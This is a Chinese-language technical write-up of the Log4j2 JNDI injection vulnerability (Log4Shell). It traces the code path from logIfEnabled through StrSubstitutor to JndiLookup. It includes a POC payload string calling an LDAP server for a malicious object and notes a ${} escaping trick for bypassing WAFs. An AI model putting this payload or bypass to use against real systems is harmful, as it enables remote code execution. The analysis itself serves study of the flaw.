前言
都在讨论这个log4j2,可以说是重量级的漏洞了,大部分的java网站程序都在用它。漏洞的实现主要运用到了JNDI和LDAP,问题出在JndiLookup上
影响范围: Apache Log4j 2.x <= 2.14.1
此处没有对字符进行过滤,导致用户可以构造恶意代码。
POC
受攻击方客户端:
1 | import org.apache.logging.log4j.LogManager; |
ldap://127.0.0.1:7777/#EvilObject}
是传入我们本地的恶意序列化对象。
具体实现见JNDI与LDAP的注入攻击
漏洞分析
logIfEnabled
首先还是下个断点
F7步入,这里会做一个log是否enabled的检测
1 | public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message, final Throwable throwable) { |
如何判定它是enabled的呢?
1 | public boolean isEnabled(final Level level, final Marker marker, final String message, final Throwable t) { |
此处我们可以观察到,我们传入的level是**”ERROR”,其对应的level in integer为200**
正好等于当前logger Config要求的最高intLevel(200)
再根据官方手册,fatal和error也满足小于等于200的条件,因此我们使用fatal(),error()
亦可触发漏洞。
Standard Level | intLevel |
---|---|
OFF | 0 |
FATAL | 100 |
ERROR | 200 |
WARN | 300 |
INFO | 400 |
DEBUG | 500 |
TRACE | 600 |
ALL | Integer.MAX_VALUE |
MessagePatternConverter.format()
关键点在messagePatternConverter#format中:
1 | if (this.config != null && !this.noLookups) {//此处判断noLookups是否为false |
在默认情况下,noLookups为false
1 | public static final boolean FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS = PropertiesUtil.getProperties().getBooleanProperty("log4j2.formatMsgNoLookups", false);//默认为false |
StrSubstitutor.substitute()
我们继续分析字符串value是如何被处理的。
1 | prefixMatcher: ${ |
后面的逻辑便是寻找prefix,如果找到了,继续找suffix,找到suffix后把中间的字符串继续传进substitute() =》循环遍历检测内嵌的**${}**
匹配了前缀后缀后,下面就是找delimiter
看看label100的逻辑
1 | for(i = 0; i < varNameExprChars.length && (substitutionInVariablesEnabled || prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) == 0); ++i) { |
上面的代码可能不太好理解,举两个例子
如果是
-
${hello:-world}
- key为hello, value则为world ${hello:\\-world:-haha}
- key为hello:world,value则为haha- 也就是说
:\\-
是:-
的转义符
- 也就是说
这样的字符串替换可以用于绕过WAF
当替换完毕后,会执行到StrSubstitutor.resolveVariable()
1 | protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) { |
Interpolator.lookup()
接着会执行**lookup()**,判断出要执行JNDI类型的Lookup
JndiLookup.lookup()
首先获取到jndiManager
1 | public static JndiManager getDefaultManager() { |
发现它是创建了一个Manager,将一个新的InitialContext传进去了
从而当我们执行JndiLookup.lookup()
时,会触发initialContext.lookup()
计算器成功弹出